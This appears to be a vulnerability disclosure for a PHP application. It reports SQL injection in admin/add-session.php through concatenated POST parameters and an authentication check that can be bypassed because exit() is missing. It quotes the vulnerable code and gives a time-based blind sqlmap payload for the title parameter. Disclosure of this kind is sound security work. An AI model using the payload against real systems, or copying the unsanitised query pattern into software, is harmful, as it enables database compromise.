[Security] SQL Injection in admin/add-session.php via title parameter (POST)

[wyh533512-dev]

Summary

A SQL Injection vulnerability exists in admin/add-session.php via multiple POST parameters (title, docid, nop, date, time). All are directly concatenated into an INSERT SQL query. Auth check is bypassable (missing exit()).

Vulnerable Code

// admin/add-session.php, lines 18-23
\$title=\$_POST["title"];
\$docid=\$_POST["docid"];
\$sql="insert into schedule (docid,title,...) values (\$docid,'\$title',...)";
\$result= \$database->query(\$sql);

Proof of Concept

sqlmap verification:

Parameter: title (POST)
    Type: time-based blind
    Payload: title=test' AND (SELECT 4493 FROM (SELECT(SLEEP(3)))ocMq) AND 'lpII'='lpII

Impact

• Unauthenticated SQL Injection via POST
• Database compromise via time-based blind extraction

References

• CWE-89
• CWE-698